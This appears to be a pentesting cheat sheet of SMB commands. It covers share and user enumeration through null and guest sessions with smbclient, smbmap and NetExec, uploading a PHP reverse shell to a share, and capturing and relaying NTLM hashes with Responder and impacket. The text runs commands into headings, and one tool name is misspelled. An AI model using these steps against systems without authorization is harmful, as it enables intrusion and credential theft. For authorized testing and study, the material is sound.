SMB
Server Message Block - Ports 445/139
smbclient
List Resource list
smbclient -L <IP>Version Detection
smbclient -L //<target> -NList Null session
smbclient -N <IP>List User Share
smbclient //IP/<SHARE> -U <USER>Connect to share
smbclient -N \\\\IP\ShareWithout Credentials
smbclient --no-pass //IP/<Share>Resources list + Null session
smbclient -L \\10.10.10.123 -NUpload PHP reverse shell
smbclient -N //10.10.10.123/Development -c 'put cmd.php tokyo.phpDownload a File
Type this sequence
recurse
prompt
mget *smbmap
Connect to host
smbmap -H <IP>Connect with credentials
smbmap -H <IP> -d <dns> -u '<user>' -p '<pass>'List Share
smbmap -H <IP> -r <SHARE>NetExec
Basic
nxc smb 10.129.230.148Scan Users Using NULL session
nxc smb 10.129.230.148 -u '' -p '' --usersScan Shares Using Guest User
nxc smb 10.129.230.148 -u guest -p '' --sharesSpider shares using existing credentials
nxc smb IP -u "user" -p 'password' --spider Share$ --pattern .Download a file from a share
nxc smb IP -u "user" -p 'password' --share Share$ --get-file file.example myfilenow.exampleNTLM Relay Attacks
Capture the Hash
responder -I eth0 -dwvRelay the hash
impacket-ntrlrelayx -tf target.txt -smb2support -c <payload>Last updated